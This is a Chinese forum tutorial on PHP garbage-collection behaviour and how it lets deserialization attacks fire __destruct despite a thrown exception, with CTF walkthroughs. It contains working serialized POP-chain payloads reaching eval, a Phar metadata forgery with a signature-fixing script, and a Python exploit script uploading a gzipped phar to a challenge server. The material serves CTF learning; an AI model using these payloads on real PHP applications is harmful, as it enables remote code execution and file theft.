Discuz! Board

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 451|回复: 0

浅析PHP GC垃圾回收机制及常见利用方式

[复制链接]

3

主题

3

帖子

117

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
117
发表于 2024-7-4 23:11:56 | 显示全部楼层 |阅读模式
前言
上周战队知识分享时,H3018大师傅讲了PHP GC回收机制的利用,学会了如何去绕过抛出异常。
H3018大师傅讲述的很清楚,大家有兴趣的可以去看一下哇,链接如下
https://www.bilibili.com/video/BV16g411s7CH/
这篇文章的话没有怎么涉及底层原理,只是将我自己的见解简述一下,希望能对正在学习PHP反序列化的师傅有所帮助。
GC什么是GC
Gc,全称Garbage collection,即垃圾回收机制。
在PHP中有这个GC机制
PHP中的GC
在PHP中,使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为NULL,或者没有任何指针指向
时,它就会被变成垃圾,被GC机制自动回收掉
那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发_destruct方法,而这也就是我们绕过抛出异常的关键点。
上文说到PHP是使用引用计数来进行管理的,接下来简单说一下。
引用计数
当我们PHP创建一个变量时,这个变量会被存储在一个名为zval的变量容器中。在这个zval变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息。
第一个字节名为is_ref,是bool值,它用来标识这个变量是否是属于引用集合。PHP引擎通过这个字节来区分普通变量和引用变量,由于PHP允许用户使用&来使用自定义引用,zval变量容器中还有一个内部引用计数机制,来优化内存使用。
第二个字节是refcount,它用来表示指向zval变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。
看接下来的这个例子
<?php$a = "new string"; xdebug_debug_zval('a'); //用于查看变量a的zval变量容器的内容?>
我们可以看到这里定义了一个变量$a,生成了类型为String和值为new string的变量容器,而对于两个额外的字节,is_ref和refcount,我们这里可以看到是不存在引用的,所以is_ref的值应该是false,而refcount是表示变量个数的,那么这里就应该是1,接下来我们验证一下

接下来我们添加一个引用
<?php<?php$a="new string"; $b =&$a;xdebug_debug_zval('a');?>
按照之前的思路,每生成一个变量就有一个zval记录其类型和值以及两个额外字节,那我们这里的话a的refcount应该是1,is_ref应该是true,接下来我们验证一下

哎,结果不同于我们所想的,这是为什么呢?
因为同一变量容器被变量a和变量b关联,当没必要时,php不会去复制已生成的变量容器。
所以这一个zval容器存储了a和b两个变量,就使得refcount的值为2.
接下来说一下容器的销毁这个事。
变量容器在refcount变成0时就被销毁。它这个值是如何减少的呢,当函数执行结束或者对变量调用了unset()函数,refcount就会减1。
看个例子
<?php$a="new string"; $b =&$a;$c =&$b;xdebug_debug_zval('a');unset($b,$c);xdebug_debug_zval('a');?>
按照刚刚所说,那么这里的首次输出的is_ref应该是true,refcount为3。
第二次输出的is_ref值是什么呢,我们可以看到引用$a的变量$b和$c都被unset了,所以这里的is_ref应该是false,也是因为unset,这里的refcount应该从3变成了1,接下来验证一下
GC在PHP 反序列化中的利用
GC如果在PHP反序列化中生效,那它就会直接触发_destruct方法,接下来以例子来演示。
demo
首先来看变量被unset函数处理的情况
<?phphighlight_file(__FILE__); error_reporting(0); class test{     public $num;     public function __construct($num) {        $this->num = $num; echo $this->num."__construct"."</br>";     }    public function __destruct(){        echo $this->num."__destruct()"."</br>";     }    }$a = new test(1); unset($a);$b = new test(2); $c = new test(3);

这个是一种方法,还有一种方法,如下。
我们知道当对象为NULL时也是可以触发_destruct的,所以我们这里的话来试一下反序列化一个数组,然后写入第一个索引为对象,将第二个赋值为0,看一下能否触发。(原理我感觉应该是给第一个对象赋值为0键时,此时又将0赋值给了另一个,就相当于它失去了引用,被视为垃圾给回收了)
demo如下
<?phpshow_source(__FILE__);$flag = "flag";class B {  function __destruct() {    global $flag;    echo $flag;  }}$a = unserialize($_GET['1']);throw new Exception('你想干什么');
我们可以看到这里在反序列化后就抛出异常了,如果按照正常的话,是无法触发_destruct的,我们按照先前所想,这里先反序列化一个数组
<?phpshow_source(__FILE__);class B {  function __destruct() {    global $flag;    echo $flag;  }}$a=array(new B,0);echo serialize($a);
得到序列化文本如下
a:2:{i:0;O:1:"B":0:{}i:1;i:0;}对象类型:长度:{类型:长度;类型:长度:类名:值类型:长度;类型:长度;}数组:长度为2::{int型:长度0;类:长度为1:类名为"B":值为0 int型:值为1:int型;值为0
接下来我们按照我们所想,将第二个索引置空,就可以触发GC回收机制,因此修改序列化文本为
a:2:{i:0;O:1:"B":0:{}i:0;i:0;}
去尝试一下
成功触发,看到这里也就知道了大致的思路

这里可以看到也是成功提前触发了_destruct,因为如果正常情况的话,有异常抛出就无法再触发_destruct了,而这个思路也是我们在CTF中绕过异常的一个方法。
Gc在Phar反序列化中的利用
Gc在Phar反序列化中类似于PHP反序列化,也是当遇到抛出异常时,可以借用上面的方法来实现绕过,下面以demo来简单讲解一下。
demo<?php highlight_file(__FILE__); class Test{     public $code;     public function __destruct(){         eval($this -> code);         } }$filename = $_GET['filename']; echo file_get_contents($filename); throw new Error("Garbage collection"); ?>
看到file_get_contents函数和类,就想到Phar反序列化,所以接下来尝试借助file_get_contents方法来进行反序列化(因为这里只是本地测试一下,所以不再设置文件上传那些,直接将生成的Phar文件放置本地进行利用了)。
构造Exp如下
<?php class test{    public $code= "phpinfo();";}$a = new test();$c = array($a,0); $b = new Phar('1.phar',0);//后缀名必须为phar$b->startBuffering();//开始缓冲 Phar 写操作$b->setMetadata($c);//自定义的meta-data存入manifest$b->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测$b->addFromString("test.txt","test");//添加要压缩的文件$b->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘?>
注:需要去检查一下php.ini中的phar.readonly选项,如果是On,需要修改为Off。否则会报错,无法生成phar文件
小Tip: 这里如果有师傅不懂为什么这样写,可以学一下Phar反序列化,我之前也写过一篇关于Phar反序列化的文章,
师傅们可以参考一下https://tttang.com/archive/1732/

用010editor打开phar文件

可以发现i:1,按照我们之前的思路,我们这里将i:1修改成i:0就可以绕过抛出异常,但在Phar文件中,我们是不能任意修改数据的,否则就会因为签名错误而导致文件出错,不过签名是可以进行伪造的,所以我们先将1.phar中的i:1修改为i:0,接下来利用脚本使得签名正确。
脚本如下
import gzipfrom hashlib import sha1with open('D:\\phpStudy\\PHPTutorial\\WWW\html\\1.phar', 'rb') as file:    f = file.read() s = f[:-28] # 获取要签名的数据h = f[-8:] # 获取签名类型以及GBMB标识newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)open("2.phar","wb").write(newf)
打开2.phar文件查看一下

变成i:0且文件正常,接下来利用phar伪协议包含这个文件
$filename=phar://2.phar

可以发现成功输出了phpinfo。
CTF实战例题1
这道题是H3018大师傅在知识分享时的例题,在这里引用一下,源码如下
<?php highlight_file(__FILE__); error_reporting(0); class cg0{     public $num;     public function __destruct(){         echo $this->num."hello __destruct";         }     }class cg1{     public $string;     public function __toString() {         echo "hello __toString";         $this->string->flag();         }     }class cg2{     public $cmd;     public function flag(){         echo "hello __flag()";         eval($this->cmd);     } }$a=unserialize($_GET['code']); throw new Exception("Garbage collection"); ?>
这道题的话思路比较简单
1、首先调用__destrcut,然后通过num参数触发__tostring2、给string参数赋值,调用cg2的flag方法3、给cmd参数赋值,实现RCE
但我们会发现这里首先要用到的就是__destruct,而代码末尾带有throw new Exception("Garbage collection");,即异常抛出,所以我们首先需要解决的就是如何绕过他,上文在讲GC中的PHP反序列化时,demo已经给出了方法,即先传值给数组,而后将第二个索引置空即可,因此我们这里按照平常思路,先构造出payload
<?php highlight_file(__FILE__); error_reporting(0); class cg0{     public $num;} class cg1{     public $string; }class cg2{     public $cmd; }$a = new cg0();$a->num=new cg1();$a->num->string=new cg2();$a->num->string->cmd="phpinfo();";$b=array($a,0);echo serialize($b);
得到
a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}
将i:1修改为i:0
a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}
接下来去尝试一下

成功触发phpinfo()
CTFShow[卷王杯]easy unserialize
源码如下
<?php/** * @Author: F10wers_13eiCheng * @Date:   2022-02-01 11:25:02 * @Last Modified by:   F10wers_13eiCheng * @Last Modified time: 2022-02-07 15:08:18 */include("./HappyYear.php");class one {    public $object;    public function MeMeMe() {        array_walk($this, function($fn, $prev){            if ($fn[0] === "Happy_func" && $prev === "year_parm") {                global $talk;                echo "$talk"."</br>";                global $flag;                echo $flag;            }        });    }    public function __destruct() {        @$this->object->add();    }    public function __toString() {        return $this->object->string;    }}class second {    protected $filename;    protected function addMe() {        return "Wow you have sovled".$this->filename;    }    public function __call($func, $args) {        call_user_func([$this, $func."Me"], $args);    }}class third {    private $string;    public function __construct($string) {        $this->string = $string;    }    public function __get($name) {        $var = $this->$name;        $var[$name]();    }}if (isset($_GET["ctfshow"])) {    $a=unserialize($_GET['ctfshow']);    throw new Exception("高一新生报道");} else {    highlight_file(__FILE__);}
简单梳理一下思路,触发MeMeMe方法为最终目标,以_destruct为起点,绕过抛出异常的方式同之前即可
接下来看一下它的大致流程
首先触发_destruct,那这里的add()无疑是让我们触发_call魔法方法,因此接下来到_call这里,发现这里拼接了Me,那它肯定就指向了addMe()这个方法,接下来看到$this->filename,想到触发_toString魔术方法,接下来根进_toString方法,发现object->string,那么这个的话就是触发_get方法了,因此接着看get()魔术方法,这个时候就有一个问题,怎么通过$var[$name]();来进入one类的MeMeMe方法,我们这里可以控制$var的值,当给它传值为数组,内容为类和方法时,就可成功触发类中的方法,所以我们这里给$var赋值为[new one(),MeMeMe]即可,此时还有一个问题,就是这个MeMeMe中的function($fn, $prev)如何理解,接下来我们本地测试一下

发现这个$fn是变量值,而$prev则是变量名,因此这里我们新增一个变量名为year_parm,且其值为Happy_func即可绕过if语句,接下来就可以去写Exp了
<?php/** * @Author: F10wers_13eiCheng * @Date:   2022-02-01 11:25:02 * @Last Modified by:   F10wers_13eiCheng * @Last Modified time: 2022-02-07 15:08:18 */include("./HappyYear.php");class one {    public $year_parm=array("Happy_func");    public $object;    public function MeMeMe() {        array_walk($this, function($fn, $prev){            if ($fn[0] === "Happy_func" && $prev === "year_parm") {                global $talk;                echo "$talk"."</br>";                global $flag;                echo $flag;            }        });    }    public function __destruct() {        @$this->object->add();    }    public function __toString() {        return $this->object->string;    }}class second {    public $filename;    protected function addMe() {        return "Wow you have sovled".$this->filename;    }    public function __call($func, $args) {        call_user_func([$this, $func."Me"], $args);    }}class third {    private $string;    public function __construct($string) {        $this->string = $string;    }    public function __get($name) {        $var = $this->$name;        $var[$name]();    }}$a=new one();$a->object=new second();$a->object->filename=new one();$a->object->filename->object=new third(array("string"=>[new one(),"MeMeMe"]));$b = array($a,NULL);echo urlencode(serialize($b));
得到payload
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A1%3BN%3B%7D
接下来解码一下
a:2:{i:0;O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";O:6:"second":1:{s:8:"filename";O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";O:5:"third":1:{s:13:"thirdstring";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";N;}i:1;s:6:"MeMeMe";}}}}}}i:1;N;}
修改i:1为i:0再进行URL编码,得到最终payload
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A0%3BN%3B%7D
[NSSCTF]prize_p1
题目环境https://www.ctfer.vip/problem/14
源码如下
<META http-equiv="Content-Type" content="text/html; charset=utf-8" /><?phphighlight_file(__FILE__);class getflag {    function __destruct() {        echo getenv("FLAG");    }}class A {    public $config;    function __destruct() {        if ($this->config == 'w') {            $data = $_POST[0];            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {                die("我知道你想干吗,我的建议是不要那样做。");            }            file_put_contents("./tmp/a.txt", $data);        } else if ($this->config == 'r') {            $data = $_POST[0];            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {                die("我知道你想干吗,我的建议是不要那样做。");            }            echo file_get_contents($data);        }    }}if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {    die("我知道你想干吗,我的建议是不要那样做。");}unserialize($_GET[0]);throw new Error("那么就从这里开始起航吧");
看到file_put_contents,file_get_contents以及魔术方法__destruct,想到这里可以利用Phar反序列化,我们写个文件然后用phar伪协议包含这个文件就可以触发魔术方法,接下来说一下几个需要绕过的点
1、过滤了部分关键词,可以看到flag等关键词被绕过2、Phar文件含有很多不可见字符,怎么用file_put_contents函数来完整的上传3、throw new Error的绕过,即绕过抛出异常
对于第一点,我们这里需要知道一个知识,就是当Phar文件进行gzip压缩后,是不影响其功能的,所以我们这里可以通过对文件进行gzip压缩来绕过,第二点,当我们使用Python脚本来上传文件时,就可以完整的上传文件,第三点,这算的上是一个老生常谈的问题了,反序列化写数组而后给另一个赋值为0从而绕过。
思路有了,接下来开始解题,首先构造Phar文件
<?phpclass getflag{}$a=new getflag();$b=array($a,0);$phar = new Phar("ph1.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$phar->setMetadata($b); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>
运行php文件后得到phar文件,打开文件修改i:1为i:0,然后再用脚本得到正确签名
import gzip from hashlib import sha1file = open("ph1.phar","rb").read() text = file[:-28] #读取开始到末尾除签名外内容 last = file[-8:] #读取最后8位的GBMB和签名flag new_file = text+sha1(text).digest() + last #生成新的文件内容,主要是此时sha1正确了。 open("ph2.phar","wb").write(new_file)
此时就得到了正确的phar文件,接下来构造写入文件的exp
<?phpclass A {    public $config='w';}$a = new A();echo serialize($a);?>
得到写入文件的payload为O:1:"A":1:{s:6:"config";s:1:"w";},
同理得到读取文件的payload为O:1:"A":1:{s:6:"config";s:1:"r";}
接下来有phar文件了,我们只需要对文件进行压缩来绕过关键词检测,再借用python脚本和写入文件的payload,就可以上传文件,同时再利用读取文件的payload就可以触发Phar反序列化,得到flag,最终脚本如下
import requestsimport gzipimport reurl = 'http://1.14.71.254:28496/'file = open("ph2.phar", "rb") #打开文件file_out = gzip.open("phar.zip", "wb+")#创建压缩文件对象file_out.writelines(file)file_out.close()file.close()requests.post(    url,    params={        0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'    },    data={        0: open('phar.zip', 'rb').read()    }) # 写入res = requests.post(    url,    params={        0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'    },    data={        0: 'phar://tmp/a.txt'    }) # 触发res.encoding='utf-8'flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0]print(flag)
但我这里没有得到flag,看一些师傅说,这里的/tmp/a.txt无法写入内容,所以就不放flag截图了,思路应该是没什么问题的。
参考文章
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|DiscuzX

GMT+8, 2024-9-8 08:54 , Processed in 0.071453 second(s), 19 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表